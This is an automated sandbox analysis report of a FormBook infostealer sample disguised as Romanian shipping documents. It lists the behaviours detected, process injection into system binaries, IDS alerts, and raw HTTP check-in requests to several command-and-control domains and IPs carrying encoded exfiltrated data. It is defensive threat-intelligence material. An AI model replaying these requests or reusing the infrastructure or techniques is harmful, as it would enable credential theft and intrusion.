Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
AWB_5771388044 Documente de expediere.exe

Overview

General Information

Sample name:AWB_5771388044 Documente de expediere.exe
Analysis ID:1571754
MD5:825d275e4ba1c2da11bdc94259b23c21
SHA1:d2fd31c97cf80b548d59156e6b21cfae5c86d79a
SHA256:21e6cc3d9b767a7b76243e8501064e94153ebed3098ec68ae05b534bbc39de4c
Tags:dhlexegeorouuser-NDA0E
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • AWB_5771388044 Documente de expediere.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe" MD5: 825D275E4BA1C2DA11BDC94259B23C21)
    • svchost.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • hcwvcDPvVeAzsY.exe (PID: 6312 cmdline: "C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • sc.exe (PID: 7868 cmdline: "C:\Windows\SysWOW64\sc.exe" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
          • hcwvcDPvVeAzsY.exe (PID: 6064 cmdline: "C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 8028 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000007.00000002.2584855517.0000000003750000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000007.00000002.2584715136.00000000035C0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000007.00000002.2583125879.0000000003210000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000002.00000002.2016788677.0000000003350000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000006.00000002.2584635635.0000000002A20000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine|base64offset|contains: ., Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ParentImage: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe, ParentProcessId: 7336, ParentProcessName: AWB_5771388044 Documente de expediere.exe, ProcessCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ProcessId: 7432, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", CommandLine|base64offset|contains: ., Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ParentImage: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe, ParentProcessId: 7336, ParentProcessName: AWB_5771388044 Documente de expediere.exe, ProcessCommandLine: "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe", ProcessId: 7432, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-09T17:18:57.391536+010020507451Malware Command and Control Activity Detected192.168.2.949889108.179.253.19780TCP
                2024-12-09T17:19:22.108468+010020507451Malware Command and Control Activity Detected192.168.2.949948108.181.189.780TCP
                2024-12-09T17:19:37.014753+010020507451Malware Command and Control Activity Detected192.168.2.94998313.248.169.4880TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-09T17:18:57.391536+010028554651A Network Trojan was detected192.168.2.949889108.179.253.19780TCP
                2024-12-09T17:19:22.108468+010028554651A Network Trojan was detected192.168.2.949948108.181.189.780TCP
                2024-12-09T17:19:37.014753+010028554651A Network Trojan was detected192.168.2.94998313.248.169.4880TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-09T17:19:13.971844+010028554641A Network Trojan was detected192.168.2.949925108.181.189.780TCP
                2024-12-09T17:19:16.822172+010028554641A Network Trojan was detected192.168.2.949932108.181.189.780TCP
                2024-12-09T17:19:19.599532+010028554641A Network Trojan was detected192.168.2.949940108.181.189.780TCP
                2024-12-09T17:19:28.863895+010028554641A Network Trojan was detected192.168.2.94996413.248.169.4880TCP
                2024-12-09T17:19:31.511484+010028554641A Network Trojan was detected192.168.2.94997013.248.169.4880TCP
                2024-12-09T17:19:34.349171+010028554641A Network Trojan was detected192.168.2.94997713.248.169.4880TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: AWB_5771388044 Documente de expediere.exeReversingLabs: Detection: 52%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.2584855517.0000000003750000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2584715136.00000000035C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2583125879.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016788677.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2584635635.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2017207373.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2586189448.0000000005440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016510291.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: AWB_5771388044 Documente de expediere.exeJoe Sandbox ML: detected
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: hcwvcDPvVeAzsY.exe, 00000006.00000002.2583629834.0000000000C7E000.00000002.00000001.01000000.00000005.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2583406804.0000000000C7E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1380185772.0000000003700000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1378980100.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1918412588.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1916159024.0000000003200000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2018602151.000000000380B000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.00000000039C0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.0000000003B5E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2016788999.0000000003657000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdbUGP source: svchost.exe, 00000002.00000003.1985783468.000000000303B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1984241134.000000000301A000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2583838367.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000003.1952567703.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1380185772.0000000003700000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1378980100.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1918412588.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2016840599.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1916159024.0000000003200000.00000004.00000020.00020000.00000000.sdmp, sc.exe, sc.exe, 00000007.00000003.2018602151.000000000380B000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.00000000039C0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585104371.0000000003B5E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2016788999.0000000003657000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdb source: svchost.exe, 00000002.00000003.1985783468.000000000303B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1984241134.000000000301A000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2583838367.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000003.1952567703.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sc.exe, 00000007.00000002.2583431211.000000000346E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585504676.0000000003FEC000.00000004.10000000.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584883100.000000000300C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2307969500.000000000E84C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sc.exe, 00000007.00000002.2583431211.000000000346E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2585504676.0000000003FEC000.00000004.10000000.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584883100.000000000300C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2307969500.000000000E84C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_00A0445A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0C6D1 FindFirstFileW,FindClose,0_2_00A0C6D1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00A0C75C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00A0EF95
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00A0F0F2
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00A0F3F3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A037EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00A037EF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A03B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00A03B12
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00A0BCBC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0322CA10 FindFirstFileW,FindNextFileW,FindClose,7_2_0322CA10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then xor eax, eax7_2_03219F90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then pop edi7_2_0321E5AA
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then mov ebx, 00000004h7_2_038404EE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:49889 -> 108.179.253.197:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49889 -> 108.179.253.197:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49925 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49940 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49932 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:49948 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49948 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49964 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49970 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:49983 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49983 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49977 -> 13.248.169.48:80
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.avalanchefi.xyz
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
                Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A122EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_00A122EE
                Source: global trafficHTTP traffic detected: GET /7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66U/gVo6YEkdyxhX4vgPFwxoIoJ2c6DSA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.bloodbalancecaps.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /xu9o/?HvrT-t9X=Y1SnkQLh9oyCIrW1nUOSuZnR7CuPFYt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrcY9ba19Ly4xWTmryN/t4ZE1RM2wdiA==&tJ=iJE0gvFHj8PDX8qP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.jalan2.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /ctta/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=73htI/07lnbi6jhigENtqW+dHv4h0dKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKT3ngGEEhsGl0ikPp1D77RlGeR3ylg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.avalanchefi.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficDNS traffic detected: DNS query: www.bloodbalancecaps.shop
                Source: global trafficDNS traffic detected: DNS query: www.jalan2.online
                Source: global trafficDNS traffic detected: DNS query: www.avalanchefi.xyz
                Source: unknownHTTP traffic detected: POST /xu9o/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.jalan2.onlineOrigin: http://www.jalan2.onlineReferer: http://www.jalan2.online/xu9o/Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 197Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30Data Raw: 48 76 72 54 2d 74 39 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 5a 61 44 49 36 54 53 62 6c 71 66 57 73 56 72 4b 54 35 74 77 69 59 35 5a 30 39 7a 72 57 36 2b 51 66 54 78 4e 72 72 51 75 58 39 56 63 64 45 51 33 4c 4a 77 6e 38 36 78 35 55 56 74 4c 63 55 45 42 68 61 4c 6a 47 6e 77 6c 4d 72 30 69 4c 55 74 43 75 4a 4a 66 56 6c 57 33 4e 74 46 67 58 31 64 74 56 47 6f 30 2b 71 61 48 56 42 4b 6b 6a 38 52 6f 63 52 31 69 53 52 55 62 68 4b 69 4f 70 39 35 56 46 70 38 7a 69 49 6b 72 6d 49 7a 34 36 52 52 30 53 6f 48 6b 55 5a 6f 45 4b 56 4d 76 72 46 44 4a 69 2f 34 76 70 74 56 57 72 4c 64 55 41 39 48 2b Data Ascii: HvrT-t9X=V36Hnmii79e6ZaDI6TSblqfWsVrKT5twiY5Z09zrW6+QfTxNrrQuX9VcdEQ3LJwn86x5UVtLcUEBhaLjGnwlMr0iLUtCuJJfVlW3NtFgX1dtVGo0+qaHVBKkj8RocR1iSRUbhKiOp95VFp8ziIkrmIz46RR0SoHkUZoEKVMvrFDJi/4vptVWrLdUA9H+
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 09 Dec 2024 16:19:13 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 09 Dec 2024 16:19:16 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 09 Dec 2024 16:19:18 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachecontent-length: 1249date: Mon, 09 Dec 2024 16:19:21 GMTserver: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 